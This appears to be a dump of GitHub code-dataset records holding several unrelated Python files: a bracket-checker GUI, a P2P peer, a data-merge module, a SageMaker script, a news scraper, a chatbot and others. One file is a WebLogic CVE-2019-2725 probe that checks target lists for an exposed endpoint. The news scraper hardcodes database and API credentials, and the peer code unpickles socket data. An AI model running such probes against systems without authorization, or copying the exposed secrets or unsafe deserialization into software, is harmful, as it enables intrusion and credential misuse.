fg=\"#757575\", background=\"white\")\ninf_label_3.pack()\ninf_label_3.place(x=0, y=50)\n\ninf_label_4 = Label(inf_frame, text=\"2) Внутри фигурных скобок обязательно должны быть квадратные, но могут быть круглые\")\ninf_label_4.configure(font=(\"Courier\", 14, \"bold\"), fg=\"#757575\", background=\"white\")\ninf_label_4.pack()\ninf_label_4.place(x=0, y=75)\n\ninf_label_5 = Label(inf_frame, text=\"3) Внутри квадратных должны быть круглые или бесскобочные выражения\")\ninf_label_5.configure(font=(\"Courier\", 14, \"bold\"), fg=\"#757575\", background=\"white\")\ninf_label_5.pack()\ninf_label_5.place(x=0, y=100)\n\ninf_label_6 = Label(inf_frame, text=\"4) Внутри круглых только бесскобочные арифметические выражения\")\ninf_label_6.configure(font=(\"Courier\", 14, \"bold\"), fg=\"#757575\", background=\"white\")\ninf_label_6.pack()\ninf_label_6.place(x=0, y=125)\n\ninf_label_7 = Label(inf_frame, text=\"5) Если один из операндов является скобк��й, то и второй должен быть скобкой (не может быть буквой)\")\ninf_label_7.configure(font=(\"Courier\", 14, \"bold\"), fg=\"#757575\", background=\"white\")\ninf_label_7.pack()\ninf_label_7.place(x=0, y=150)\n\ninf_label_8 = Label(inf_frame, text=\"6) Могут быть “лишние” скобки, но одна буква не может браться в скобки\")\ninf_label_8.configure(font=(\"Courier\", 14, \"bold\"), fg=\"#757575\", background=\"white\")\ninf_label_8.pack()\ninf_label_8.place(x=0, y=175)\n\nenter_field = Entry(width=100)\nenter_field.pack()\nenter_field.place(x=600, y=260)\n\nlabel_enter = Label(root, text=\"Введите запись: \")\nlabel_enter.configure(font=(\"Courier\", 18, \"bold\"))\nlabel_enter.pack()\nlabel_enter.place(x=300, y=250)\n\nlabel_result = Label(root, text=\"результат проверки\")\nlabel_result.configure(font=(\"Courier\", 18, \"bold\"))\nlabel_result.pack()\nlabel_result.place(x=600, y=420)\n\nlabel_true = Label(root, text=\"Правильная запись: {[(a-b)](a+b)}/[(a+b*c )]-(a-c)*(a+c)\")\nlabel_true.configure(font=(\"Courier\", 18, \"bold\"))\nlabel_true.pack()\nlabel_true.place(x=400, y=470)\n\nlabel_false = Label(root, text=\"Неправильная запись: {(a+b)*(a-b)}/[a+b/c]((c)-(b-c*d))\")\nlabel_false.configure(font=(\"Courier\", 18, \"bold\"))\nlabel_false.pack()\nlabel_false.place(x=405, y=520)\n\nroot.mainloop()","repo_name":"Daniil-Melnik/bracket_language","sub_path":"GUI.py","file_name":"GUI.py","file_ext":"py","file_size_in_byte":8690,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"70186096540","text":"import asyncio\nimport pickle\nimport socket\nimport threading\n\nimport zmq\nfrom kademlia.network import Server\n\nfrom p2p.Logger import Logger\nfrom p2p.ProcessMessage import process_message\nfrom p2p.Protocol import *\nfrom p2p.Subscriber import Subscriber\nfrom p2p.TimeCounters import TimeCounters\nfrom p2p.Timeline import Timeline\nfrom p2p.Tweet import Tweet\nfrom p2p.constants import DATA_PORT_OFFSET, FLASK_PORT_OFFSET\n\nimport time\nfrom p2p.ntp import ntp_time\n\n\nclass Peer:\n def __init__(self, peer_id: int, remote_bootstrap_port: int, remote_bootstrap_ip='127.0.0.1',\n host_ip='127.0.0.1'):\n self.identifier = peer_id\n self.username = \"\"\n self.kademlia_server = Server()\n self.logger = Logger(self.identifier)\n self.bootstrap_ip = remote_bootstrap_ip\n self.host_ip = host_ip\n self.data_port = DATA_PORT_OFFSET + self.identifier\n self.bootstrap_port = remote_bootstrap_port\n\n self.loop = asyncio.new_event_loop()\n asyncio.set_event_loop(self.loop)\n\n self.zero_mq_context = zmq.Context()\n\n self.data_server_socket = self.zero_mq_context.socket(zmq.REP)\n\n self.followers = []\n\n self.neighbours = []\n\n self.followings = []\n\n self.zombies = []\n\n self.timelines = {self.identifier: Timeline(\n self.identifier, self.host_ip, self.data_port)}\n\n self.time_counter = TimeCounters()\n\n self.timestamp_ntp_request = 0\n\n self.time_delay = 0\n\n self.alive = True\n\n # TODO:Multiple bootstrap nodes\n async def init_kademlia_server(self):\n await self.kademlia_server.listen(self.data_port + 1000)\n await self.kademlia_server.bootstrap([(self.bootstrap_ip, self.bootstrap_port)])\n await self.kademlia_server.set(self.identifier,\n DHTEntry(self.identifier, self.host_ip, self.data_port).to_json())\n\n def bootstrap_users(self):\n\n soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n soc.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n soc.connect((self.host_ip, FLASK_PORT_OFFSET - 1))\n soc.sendall(pickle.dumps(Message.create_dummy_msg()))\n data = soc.recv(4096)\n\n if not data:\n print(\"Error Fetching users\")\n exit(-1)\n\n message = pickle.loads(data)\n\n for user in message:\n sub = Subscriber(int(user['id']), user['username'], self.host_ip, int(user['id']) + DATA_PORT_OFFSET)\n\n if sub.identifier == self.identifier:\n self.username = sub.username\n continue\n\n if sub in self.neighbours:\n continue\n\n self.neighbours.append(sub)\n\n soc.close()\n\n async def run(self):\n self.bootstrap_users()\n\n await self.init_kademlia_server()\n\n t1 = threading.Thread(target=self.listen)\n t2 = threading.Thread(target=self.speak)\n\n t1.start()\n t2.start()\n\n while self.alive:\n await sleep(1)\n self.delete_tweet()\n\n t1.join()\n t2.join()\n\n self.kademlia_server.stop()\n\n print(\"Goodbye\")\n\n def listen(self):\n asyncio.run(self.read_msgs_available())\n\n def speak(self):\n asyncio.run(gossiping(self))\n\n async def read_msgs_available(self):\n self.data_server_socket.bind(f\"tcp://*:{self.data_port}\")\n\n self.data_server_socket.setsockopt(zmq.SNDTIMEO, 30000)\n\n while self.alive:\n try:\n message = self.data_server_socket.recv_pyobj()\n\n self.data_server_socket.send_pyobj(Message.create_dummy_msg())\n\n if message is None:\n continue\n\n threading.Thread(target=self.worker, args=(message,)).start()\n\n except Exception as e:\n print(e)\n print(f\"{self.identifier}|Timeout SEND AFTER READ\")\n\n self.data_server_socket.close()\n\n def worker(self, message):\n asyncio.run(process_message(self, message))\n\n async def subscribe(self, request):\n\n sub = Subscriber(request['identifier'], request['username'], request['host_ip'], request['data_port'])\n\n if sub in self.zombies:\n return await self.find_alternative_for_zombie(sub)\n\n dht_entry = DHTEntry.from_json(await self.kademlia_server.get(int(sub.identifier)))\n\n if not dht_entry:\n self.logger.print_error_subscriber()\n return\n try:\n self.send_subscribe_message(sub, dht_entry)\n except:\n pass\n\n def send_subscribe_message(self, sub: Subscriber, dht_entry: DHTEntry):\n\n self.send_message(dht_entry.ip_address, dht_entry.port,\n Message.create_subscribe_msg(self.host_ip, self.data_port, self.identifier, self.username))\n\n if sub in self.neighbours:\n self.neighbours.remove(sub)\n\n if sub in self.followings:\n print(f\"Already following\")\n return\n\n self.followings.append(sub)\n\n self.timelines[sub.identifier] = Timeline(sub.identifier, sub.host_ip, sub.data_port)\n\n self.logger.print_new_following(sub)\n\n async def tweet(self, request):\n\n if self.time_counter.can_make_ntp_request(self.timestamp_ntp_request):\n self.timestamp_ntp_request = time.time()\n self.time_delay = ntp_time()\n\n post_time = time.time() + self.time_delay\n\n tweet = Tweet(self.identifier, self.username, request['text'], post_time)\n self.timelines[self.identifier].list_tweets.append(tweet)\n\n def send_message(self, ip_address: str, port: int, message: Message):\n self.logger.print_send_msg(ip_address, port, message)\n\n client_socket = self.zero_mq_context.socket(zmq.REQ)\n\n client_socket.connect(f\"tcp://{ip_address}:{port}\")\n\n client_socket.setsockopt(zmq.RCVTIMEO, 1000)\n client_socket.setsockopt(zmq.SNDTIMEO, 1000)\n\n client_socket.send_pyobj(message)\n client_socket.recv_pyobj()\n\n client_socket.close()\n\n async def find_alternative_for_zombie(self, zombie_sub: Subscriber):\n\n for neighbour in self.neighbours:\n\n if neighbour.identifier == zombie_sub.identifier:\n continue\n try:\n self.send_message(neighbour.host_ip, neighbour.data_port,\n Message.create_subscribe_indirect_msg(self.host_ip, self.data_port, self.identifier,\n zombie_sub.identifier, zombie_sub.username))\n except Exception as e:\n print(e)\n\n def logout(self):\n self.logger.print_logout()\n self.alive = False\n\n def delete_tweet(self):\n for author_id in self.timelines:\n if author_id != self.identifier:\n for tweet in self.timelines[author_id].list_tweets:\n if self.time_counter.can_delete_tweet(tweet.rcv_time):\n self.timelines[author_id].list_tweets.remove(tweet)\n\n async def unsubscribe(self, request):\n\n sub = Subscriber(request['identifier'], request['username'], request['host_ip'], request['data_port'])\n\n dht_entry = DHTEntry.from_json(await self.kademlia_server.get(int(sub.identifier)))\n\n if not dht_entry:\n self.logger.print_error_subscriber()\n return\n try:\n self.send_unsubscribe_message(sub, dht_entry)\n self.followings.remove(sub)\n except Exception as e:\n print(e)\n pass\n\n def send_unsubscribe_message(self, sub: Subscriber, dht_entry: DHTEntry):\n\n self.send_message(dht_entry.ip_address, dht_entry.port,\n Message.create_unsubscribe_msg(self.host_ip, self.username, self.data_port, self.identifier))\n\n del self.timelines[sub.identifier]\n\n self.logger.print_new_unfollower(sub)\n","repo_name":"kiko-g/feup-sdle","sub_path":"p2p_timeline/src/backend/p2p/Peer.py","file_name":"Peer.py","file_ext":"py","file_size_in_byte":7986,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} +{"seq_id":"579379371","text":"# !/usr/bin/env python\n# Name: dataMerge.py\n# By: LA-Shill\n# Date: 20.11.2020\n# Version 0.4\n# -----------------------------------------------\n\nimport json\nimport operator\nimport collections\nfrom itertools import chain\nfrom operator import itemgetter\n\n# NEEDS TIDIED UP AT LATER DATE\n\ndef mergeData(source1, source2):\n\n tempDict: dict = {\n 'source' : '',\n 'ip' : '',\n 'domains' : '',\n 'hostnames' : '',\n 'org' : '',\n 'asn': '',\n 'country' : '',\n 'ports' : '',\n 'protocols': '',\n 'banners': '',\n 'os' : '',\n 'os_distro' : '',\n }\n\n ip = source1['ip']\n\n try:\n # Combine and drop dupes from hostnames\n hostnames = list(set(source1.get('hostnames', [0]) + source2.get('hostnames', [0])))\n try:\n # Remove default hostname value is applicable\n hostnames.remove(0)\n except:\n pass\n except TypeError as e:\n hostnames: list = [] \n print(\"Hostnames merging error occured: \" + str(e) + \". Hostnames data may be unreliable. Try using a different combination of Internet-wide scanners.\")\n except:\n hostnames: list = [] \n print(\"Critical hostnames merging error occured, hostnames data may be unreliable. Try using a different combination of Internet-wide scanners.\")\n\n try:\n ports = list(set(source1.get('ports', [0]) + source2.get('ports', [0])))\n try:\n ports.remove(0)\n except:\n pass\n except TypeError as e:\n ports: list = [] # shodan list of ports\n print(\"Port merging error occured: \" + str(e) + \". Port data may be unreliable. Try using a different combination of Internet-wide scanners.\")\n except:\n ports: list = [] # shodan list of ports\n print(\"Critical port merging error occured, port data may be unreliable. Try using a different combination of Internet-wide scanners.\")\n\n try:\n domains = list(set(source1.get('domains', [0]) + source2.get('domains', [0])))\n try:\n domains.remove(0)\n except:\n pass\n except TypeError as e:\n domains: list = [] # shodan list of domains\n print(\"Domains merging error occured: \" + str(e) + \". Domains data may be unreliable. Try using a different combination of Internet-wide scanners.\")\n except:\n domains: list = [] # shodan list of domains\n print(\"Critical domains merging error occured, domains data may be unreliable. Try using a different combination of Internet-wide scanners.\")\n\n try:\n protocols = list(set(source1.get('protocols', [0]) + source2.get('protocols', [0])))\n try:\n protocols.remove(0)\n except:\n pass\n except TypeError as e:\n protocols: list = [] # shodan list of domains\n print(\"Protocols merging error occured: \" + str(e) + \". Protocols data may be unreliable. Try using a different combination of Internet-wide scanners.\")\n except:\n protocols: list = [] # shodan list of domains\n print(\"Critical protocols merging error occured, protocols data may be unreliable. Try using a different combination of Internet-wide scanners.\")\n\n if (len(source1.get('os_distro', [0])) == 0 and len(source2.get('os_distro', [0])) == 0):\n osDistro : list = []\n pass\n else:\n tempOS_distro = []\n if (isinstance(source1.get('os_distro'), list)):\n for distro in source1.get('os_distro', [0]):\n if(distro != \"unknown\"):\n tempOS_distro.append(distro)\n else:\n if(source1.get('os_distro') != \"unknown\"):\n tempOS_distro.append(source1.get('os_distro'))\n\n if (isinstance(source2.get('os_distro'), list)):\n for distro in source2.get('os_distro', [0]):\n tempOS_distro.append(distro)\n else:\n tempOS_distro.append(source2.get('os_distro'))\n\n try:\n osDistro = list(set(tempOS_distro))\n try:\n osDistro.remove(None)\n except:\n pass\n except:\n osDistro: list = []\n print(\"Critical OS Distro merging error occured, OS data may be unreliable. Try using a different combination of Internet-wide scanners.\")\n\n if (len(source1.get('os', [0])) == 0 and len(source2.get('os', [0])) == 0):\n os : list = []\n pass\n else:\n tempOS = []\n if (isinstance(source1.get('os'), list)):\n for oss in source1.get('os', [0]):\n if(oss != \"unknown\"):\n tempOS.append(oss)\n else:\n if(source1.get('os') != \"unknown\"):\n tempOS.append(source1.get('os'))\n\n if (isinstance(source2.get('os'), list)):\n for oss in source2.get('os', [0]):\n if(oss != \"unknown\"):\n tempOS.append(oss)\n else:\n if(source1.get('os') != \"unknown\"):\n tempOS.append(source2.get('os'))\n\n try:\n os = list(set(tempOS))\n try:\n os.remove(None)\n except:\n pass\n except:\n os: list = []\n print(\"Critical OS merging error occured, OS data may be unreliable. Try using a different combination of Internet-wide scanners.\")\n\n \n # Banner merge\n if (len(source1.get('banners', '')) == 0 and len(source2.get('banners', '')) == 0):\n banners : list = []\n pass\n else:\n banners : list = []\n if(len(source1.get('banners', '')) != 0):\n for lis in source1['banners']:\n banners.append(lis)\n \n if(len(source2.get('banners', '')) != 0):\n for lis in source2['banners']:\n banners.append(lis)\n\n\n tempDict['source'] = 'merged'\n tempDict['ip'] = ip\n tempDict['domains'] = domains\n tempDict['hostnames'] = hostnames\n tempDict['org'] = source1.get('org', source2.get('org',''))\n tempDict['asn'] = source1.get('asn', source2.get('asn',''))\n tempDict['country'] = source1.get('country', source2.get('country',''))\n tempDict['ports'] = ports\n tempDict['protocols'] = protocols\n tempDict['banners'] = banners\n tempDict['os'] = os\n tempDict['os_distro'] = osDistro\n\n return tempDict\n \n\ndef bannerMerge(banners):\n\n # Function to remove duplicate banner information based on timestamp\n bannersSorted = sorted(banners, key=itemgetter('port'))\n \n result = collections.defaultdict(list)\n for d in bannersSorted:\n result[d['port']].append(d)\n result_list = list(result.values()) \n banners = []\n\n for item in result_list:\n tmp = []\n for value in item:\n tmp.append(value)\n tmp = sorted(tmp, key=lambda tmp: tmp['timestamp'])\n banners.append(tmp[-1])\n\n return banners\n\n\ndef merge(ipList, source1, source2):\n FinalResult: list = []\n try:\n # Merge (only matching records)\n for ip in ipList: \n for rec in source1:\n if (rec['ip'] == ip):\n for rec2 in source2:\n if (rec2['ip'] == ip):\n FinalResult.append(mergeData(rec, rec2))\n \n # Add left over records from data sources\n for ip in ipList: \n if not any(item for item in FinalResult if item['ip'] == ip):\n for rec in source2: \n if ip in rec.values():\n FinalResult.append(rec)\n for rec in source1: \n if ip in rec.values():\n FinalResult.append(rec)\n except Exception as e:\n print(f'[INFORMANT] Critical merging error. Please report: {e}')\n\n return FinalResult\n \ndef final_merge_checks(source, timestamp):\n for rec in source:\n rec.update( {\"timestamp\": timestamp})\n if '_id' in rec:\n rec.pop('_id')\n if rec['source'] != 'merged':\n rec['source'] = 'merged'\n return source","repo_name":"LA-Shill/Informant","sub_path":"app/core/dataMerge.py","file_name":"dataMerge.py","file_ext":"py","file_size_in_byte":8019,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"7329436645","text":"#CVE-2019-2725-POC\nimport requests\nimport optparse\nimport os\n\nparse = optparse.OptionParser(usage = 'python3 %prog [-h] [-u URL] [-p PORT] [-f FILE]')\nparse.add_option('-u','--url',dest='URL',help='target url')\nparse.add_option('-p','--port',dest='PORT',help='target port[default:7001]',default='7001')\nparse.add_option('-f',dest='FILE',help='target list')\n\noptions,args = parse.parse_args()\n#print(options)\n#验证参数是否完整\nif (not options.URL or not options.PORT) and not options.FILE:\n print('Usage:python3 CVE-2019-2725-POC.py [-u url] [-p port] [-f FILE]\\n')\n exit('CVE-2019-2725-POC.py:error:missing a mandatory option(-u,-p).Use -h for basic and -hh for advanced help')\n\nfilename = '/_async/AsyncResponseService'\n\n\ndef checking(url):\n try:\n response = requests.get(url+filename)\n if response.status_code == 200:\n print('[+] {0} 存在CVE-2019-2725 Oracle weblogic 反序列化远程命令执行漏洞'.format(url))\n else:\n print('[-] {0} 不存在CVE-2019-2725 Oracle weblogic 反序列化远程命令执行漏洞'.format(url))\n except Exception as e:\n print(\"[-] {0} 连接失败\".format(url))\n exit()\nif options.FILE and os.path.exists(options.FILE):\n with open(options.FILE) as f:\n urls = f.readlines()\n #print(urls)\n for url in urls:\n url = str(url).replace('\\n','').replace('\\r','').strip()\n checking(url)\nelif options.FILE and not os.path.exists(options.FILE):\n print('[-] {0} 文件不存在'.format(options.FILE))\n exit()\nelse:\n #上传链接\n url = options.URL+':'+options.PORT\n checking(url)\n","repo_name":"Xuyan-cmd/Network-security-attack-and-defense-practice","sub_path":"code/Weblogic CVE-2019-2725_validation script/poc.py","file_name":"poc.py","file_ext":"py","file_size_in_byte":1584,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"41206973913","text":"import boto3\nimport sagemaker\nfrom sagemaker.xgboost.estimator import XGBoost\nfrom sagemaker.session import Session\nfrom sagemaker.inputs import TrainingInput\n\n# initialize hyperparameters\nhyperparameters = {\n \"max_depth\":\"5\",\n \"eta\":\"0.2\",\n \"gamma\":\"4\",\n \"min_child_weight\":\"6\",\n \"subsample\":\"0.7\",\n \"verbosity\":\"1\",\n \"objective\":\"reg:linear\",\n \"num_round\":\"50\"}\n\n# set an output path where the trained model will be saved\nbucket = sagemaker.Session().default_bucket()\nprefix = 'DEMO-xgboost-as-a-framework'\noutput_path = 's3://{}/{}/{}/output'.format(bucket, prefix, 'abalone-xgb-framework')\n\n# construct a SageMaker XGBoost estimator\n# specify the entry_point to your xgboost training script\nestimator = XGBoost(entry_point = \"your_xgboost_abalone_script.py\", \n framework_version='1.2-2',\n hyperparameters=hyperparameters,\n role=sagemaker.get_execution_role(),\n instance_count=1,\n instance_type='ml.m5.2xlarge',\n output_path=output_path)\n\n# define the data type and paths to the training and validation datasets\ncontent_type = \"libsvm\"\ntrain_input = TrainingInput(\"s3://{}/{}/{}/\".format(bucket, prefix, 'train'), content_type=content_type)\nvalidation_input = TrainingInput(\"s3://{}/{}/{}/\".format(bucket, prefix, 'validation'), content_type=content_type)\n\n# execute the XGBoost training job\nestimator.fit({'train': train_input, 'validation': validation_input})\n","repo_name":"uniqtechco/tutorial_hub_01","sub_path":"code_aws_sagemaker_xgboost.py","file_name":"code_aws_sagemaker_xgboost.py","file_ext":"py","file_size_in_byte":1535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"73233034459","text":"import random\nfrom MyHashableKey import MyHashableKey\n\nnew_key = MyHashableKey(28, '')\nnew_key = MyHashableKey(28, 'a')\nhash(new_key)\nnew_key = MyHashableKey(28, 'a')\nhash(new_key)\nother_key = MyHashableKey(28, 'rikki')\nprint(hash(new_key))\nprint(hash(new_key))\nprint(hash(other_key))\nprint(hash(other_key))\nprint(new_key == other_key)\nprint(new_key == new_key)\n\nNO_KEYS = 32\nNO_BUCKETS = 8\n\n\ndef test_keys():\n spread_dict = {}\n for i in range(NO_KEYS):\n new_string = \"\"\n for j in range(10):\n new_string += chr(random.randint(0, 127))\n new_key = MyHashableKey(random.randint(1, 1000000), new_string)\n\n if hash(new_key) % NO_BUCKETS in spread_dict:\n spread_dict[hash(new_key) % NO_BUCKETS] += 1\n else:\n spread_dict[hash(new_key) % NO_BUCKETS] = 1\n\n for key, value in spread_dict.items():\n print(\"Hash Value: {} Frequencey: {} Percentage of Keys: {:.2f}%\".format(key, value, (value / NO_KEYS) * 100))\n\n print(\"Number of Buckets: {}\".format(len(spread_dict)))\n print(\"Number of keys: {}\".format(NO_KEYS))\n spread_list = sorted(spread_dict.values())\n print(\"Lowest value: {}\".format(spread_list[0]))\n print(\"Highest value: {}\".format(spread_list[-1]))\n difference = spread_list[-1] - spread_list[0]\n print(\"Difference: {}\".format(difference))\n spread_percentage = 100 - 100 * ((difference) / NO_KEYS)\n print(\"Spread Percentage: {}\".format(spread_percentage))\n return spread_percentage\n\n\nsuccess = 0\nfails = 0\nNO_TESTS = 1000\nfor i in range(NO_TESTS):\n spread_percentage = test_keys()\n if spread_percentage >= 80.0:\n success += 1\n else:\n fails += 1\n\nprint(\"Success: \", success)\nprint(\"Fails: \", fails)\nprint(\"Success ratio: \", success / NO_TESTS)\n","repo_name":"irmalexandra/ru_projects","sub_path":"gski_assignment_5/HashKeyTests.py","file_name":"HashKeyTests.py","file_ext":"py","file_size_in_byte":1781,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} +{"seq_id":"70043034460","text":"import sys\n\n\ndef bigger_price(number=0, products=None):\n \n \"\"\" find biggest prices in list of dictionaries \"\"\"\n\n if number > len(products):\n print(\"not enough items in the list\")\n return -1\n\n if products:\n price_list = sorted(products, key=lambda k: k['price'], reverse=True) \n \n result = []\n i = 0\n\n while i < number:\n result.append(price_list[i])\n i += 1\n return result\n else:\n print(\"price list is empty\")\n return -1\n\n\nif __name__ == \"__main__\":\n assert bigger_price(2, [\n {\"name\": \"bread\", \"price\": 100},\n {\"name\": \"wine\", \"price\": 138},\n {\"name\": \"meat\", \"price\": 15},\n {\"name\": \"water\", \"price\": 1}\n ]) == [\n {\"name\": \"wine\", \"price\": 138},\n {\"name\": \"bread\", \"price\": 100}\n ]\n assert bigger_price(1, [{\"name\": \"pen\", \"price\": 5},\n {\"name\": \"whiteboard\", \"price\": 170}\n ]) == [{\"name\": \"whiteboard\", \"price\": 170}]","repo_name":"AnastasiaKiseliova/Python_tasks","sub_path":"BiggerPrice.py","file_name":"BiggerPrice.py","file_ext":"py","file_size_in_byte":1163,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"18755300418","text":"import os\nimport sys\nimport urllib.request\nimport pandas as pd\nimport json\nimport re\nimport datetime\nimport sqlalchemy\n\nengine = sqlalchemy.create_engine(\n \"mysql+mysqlconnector://team1:smhrd1@project-db-stu.ddns.net:3307/campus_k_1_1006?charset=utf8\")\nprevtime=datetime.datetime.now()-datetime.timedelta(weeks=1)\nconn = engine.connect()\nresult =conn.execute(\"select date from news limit 1\")\nfor i in result:\n prevtime=i[0]\n\nclient_id = \"D0SJvjlJN9AcFgYffFSR\"\nclient_secret = \"Eohhvy5UsO\"\ncandidate = [('이재명', 1), ('홍준표', 2), ('윤석열', 3), ('이낙연', 4)]\nidx = 0\ndisplay = 100\nstart = 1\nend = 1000\nsort = 'date'\nremove_tag = re.compile('<.*?>')\nfor c in candidate:\n for start_index in range(start, end, display):\n web_df = pd.DataFrame(columns=(\"title\", \"contents\", \"url\", \"date\", \"candidate_id\"))\n encText = urllib.parse.quote(c[0])\n url = \"https://openapi.naver.com/v1/search/news?query=\" \\\n + encText + \"&display=\" \\\n + str(display) \\\n + \"&start=\" + str(start_index) + \"&sort=\" + sort\n request = urllib.request.Request(url)\n request.add_header(\"X-Naver-Client-Id\", client_id)\n request.add_header(\"X-Naver-Client-Secret\", client_secret)\n response = urllib.request.urlopen(request)\n rescode = response.getcode()\n if (rescode == 200):\n response_body = response.read()\n response_dict = json.loads(response_body.decode('utf-8'))\n items = response_dict['items']\n for item_index in range(len(items)):\n title = re.sub(remove_tag, '', items[item_index]['title'])\n url = items[item_index]['link']\n contents = re.sub(remove_tag, '', items[item_index]['description'])\n date = datetime.datetime.strptime(items[item_index][\"pubDate\"], '%a, %d %b %Y %H:%M:%S +0900')\n if date < prevtime:\n continue\n candidate_id = c[1]\n web_df.loc[idx] = [title, url, contents, date, candidate_id]\n idx += 1\n web_df.drop_duplicates(['title'])\n web_df.to_sql(name=\"news\", con=engine, if_exists='append', index=False)\n else:\n print(\"Error Code:\" + rescode)\nconn.close()\n\n\n","repo_name":"2021-SMHRD-KDT-New-Bigdata-2/brightics","sub_path":"pythonscript/news_scraping.py","file_name":"news_scraping.py","file_ext":"py","file_size_in_byte":2294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"1572417080","text":"import speech_recognition as sr\r\nimport pyttsx3\r\nimport cv2\r\nimport face_recognition\r\nimport random as rand\r\nfrom chatterbot import ChatBot\r\n\r\n\r\n\r\nchatbot = ChatBot(\r\n 'Shaaran',\r\n trainer='chatterbot.trainers.ChatterBotCorpusTrainer')\r\n\r\n# Train based on the english corpus\r\nchatbot.train(\"chatterbot.corpus.english\")\r\naudio = sr.Recognizer()\r\n\r\nwhile True:\r\n with sr.Microphone() as micro:\r\n try:\r\n eng = pyttsx3.init()\r\n eng.say(\"please speak\")\r\n eng.runAndWait()\r\n initiator = audio.listen(micro,phrase_time_limit=3)\r\n start_speech = audio.recognize_google(initiator)\r\n print(start_speech)\r\n start_test = start_speech.split()\r\n print(start_test)\r\n if 'hey' and 'bro' in start_test:\r\n\r\n starting_greet = ['what a great day','ahhhh','boom']\r\n eng = pyttsx3.init()\r\n eng.say(rand.choice(starting_greet))\r\n eng.runAndWait()\r\n\r\n video_capture = cv2.VideoCapture(0)\r\n\r\n shaaran_image = face_recognition.load_image_file(\"myphoto1.jpg\")\r\n shaaran_encoding = face_recognition.face_encodings(shaaran_image)[0]\r\n\r\n known_face_encodings = [\r\n shaaran_encoding\r\n ]\r\n known_face_names = [\r\n \"Shaaran\"\r\n ]\r\n\r\n face_locations = []\r\n face_encodings = []\r\n face_names = []\r\n process_this_frame = True\r\n\r\n no = 0\r\n\r\n while no < 100:\r\n\r\n ret, frame = video_capture.read()\r\n\r\n small_frame = cv2.resize(frame, (0, 0), fx=0.25, fy=0.25)\r\n\r\n rgb_small_frame = small_frame[:, :, ::-1]\r\n\r\n if process_this_frame:\r\n\r\n face_locations = face_recognition.face_locations(rgb_small_frame)\r\n face_encodings = face_recognition.face_encodings(rgb_small_frame, face_locations)\r\n face_landmarks_list = face_recognition.face_landmarks(rgb_small_frame)\r\n\r\n print(\"I found {} face(s) in this photograph.\".format(len(face_landmarks_list)))\r\n\r\n face_names = []\r\n for face_encoding in face_encodings:\r\n\r\n matches = face_recognition.compare_faces(known_face_encodings, face_encoding)\r\n name = \"Unknown\"\r\n\r\n if True in matches:\r\n first_match_index = matches.index(True)\r\n name = known_face_names[first_match_index]\r\n\r\n face_names.append(name)\r\n\r\n\r\n process_this_frame = not process_this_frame\r\n\r\n for (top, right, bottom, left), name in zip(face_locations, face_names):\r\n top *= 4\r\n right *= 4\r\n bottom *= 4\r\n left *= 4\r\n font = cv2.FONT_HERSHEY_COMPLEX\r\n cv2.putText(frame, '*' + name, (left + 6, bottom - 6), font, 1.3, (0, 0, 255), 2)\r\n\r\n #cv2.imshow('Video', frame)\r\n\r\n no = no + 1\r\n\r\n if len(face_names) > 0 and face_names[0] in known_face_names:\r\n break\r\n else:\r\n pass\r\n\r\n if cv2.waitKey(1) & 0xFF == ord('q'):\r\n break\r\n\r\n video_capture.release()\r\n cv2.destroyAllWindows()\r\n\r\n if len(face_names) > 0:\r\n eng = pyttsx3.init()\r\n eng.say(\"hi shaaran , what is up for today\")\r\n eng.runAndWait()\r\n break\r\n\r\n else:\r\n eng = pyttsx3.init()\r\n eng.say(\"hello there, how may i help you today\")\r\n eng.runAndWait()\r\n break\r\n else:\r\n continue\r\n\r\n\r\n except Exception:\r\n continue\r\n\r\nwith sr.Microphone() as micro:\r\n while True:\r\n try:\r\n source = audio.listen(micro, phrase_time_limit=5)\r\n x = audio.recognize_google(source)\r\n print('YOU: ' + str(x))\r\n ans = chatbot.get_response(str(x))\r\n print('BOT: ' + str(ans))\r\n eng = pyttsx3.init()\r\n eng.say(ans)\r\n eng.runAndWait()\r\n\r\n except Exception:\r\n pass\r\n\r\n# TODO recognize voice and manipulate for normal speech\r\n# TODO manipulate for operating appliances by speech\r\n# TODO manipulate for operating appliances by text\r\n# TODO make a interactive screen for the bot to interact by giving inputs through voice and face rec\r\n\r\n","repo_name":"devshaaran/bloo","sub_path":"bloo.py","file_name":"bloo.py","file_ext":"py","file_size_in_byte":4923,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} +{"seq_id":"21441246655","text":"import sys\nsys.path.append(\"/home/antonio/dev/3183\")\nfrom toet.utils import Translator\n\n# Toet uses google translate to help you in translating your pdfs.\n# Toet can translate before of pdf generation using pre generated\n# vocabularies or in real-time during rendering phase.\n# First approach (vocabularies) should be always preferable for\n# all the static text of your documents (like table header) due to\n# the delay that translation process introduces.\n#\n# Naturally texts coming from your data source can be translated\n# on the fly during rendering phase as well.\n#\n# In order to create vocabularies files you need:\n#\n# (1) define in your .py a __t class attribute like below\n#\n# __t = {\n# \"_t_from\" : \"From\",\n# \"_t_to\" : \"To\",\n# \"_t_parts\" : \"Parts\",\n# \"_t_locations\" : \"Locations\",\n# \"_t_available_languages\" : \"Available Languages\",\n# }\n#\n# (2) set dir that will contains vocabularies files\n#\n# TRANSLATION_dir = /somewhere/in/your/disk\n#\n# (3) specify which modules and classes you want to translate \n# setting up a INDEX var.\n# Only classes with __t class atribute defined will be taken\n# in consideration; if not they will be skipped even if they\n# appears in INDEX.\n#\n# (4) Set source and destination languages for the translation\n\n\nTRANSLATION_DIR = '/home/antonio/dev/sign_in_sheet/translations'\n\nINDEX = {\n '/tmp/aaa/sign_in_sheets_translator': ['SummaryModel', 'SessionModel',\n 'InstructorModel']\n}\n\n\n#list_languages = 